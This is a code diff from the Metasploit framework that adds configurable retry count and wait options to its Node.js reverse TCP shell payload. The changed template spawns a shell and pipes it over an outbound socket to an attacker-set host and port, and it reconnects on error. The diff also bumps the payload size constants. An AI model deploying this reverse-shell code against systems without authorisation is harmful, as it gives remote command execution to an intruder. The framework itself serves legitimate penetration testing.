Adding functionality of StagerRetryWait and StagerRetryCount

Author: itsmeroy2012

lib/msf/core/payload/nodejs.rb

@@ -56,8 +56,9 @@ def nodejs_reverse_tcp(opts={})
             util = require("util"),
             sh = cp.spawn(cmd, []);
         var client = this;
+        var counter=0;
 	function StagerRepeat(){
-          client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
+	  client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
             client.socket.pipe(sh.stdin);
             if (typeof util.pump === "undefined") {
               sh.stdout.pipe(client.socket);
@@ -68,10 +69,16 @@ def nodejs_reverse_tcp(opts={})
             }
           });
 	  socket.on("error", function(error) {
-            StagerRepeat();
+	    counter++;
+	    if(counter<= #{datastore['StagerRetryCount']}){
+	      setTimeout(function() {
+                StagerRepeat();
+              }, #{datastore['StagerRetryWait']}*1000);
+            } else
+              process.exit();
           });
-      }
-      StagerRepeat();
+        }
+        StagerRepeat();
       })();
     EOS
     cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')

modules/payloads/singles/cmd/unix/reverse_nodejs.rb

@@ -10,7 +10,7 @@
 
 module MetasploitModule
 
-  CachedSize = 2823
+  CachedSize = 3243
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

@@ -13,7 +13,7 @@
 
 module MetasploitModule
 
-  CachedSize = 701
+  CachedSize = 806
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

@@ -10,7 +10,7 @@
 
 module MetasploitModule
 
-  CachedSize = 729
+  CachedSize = 834
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS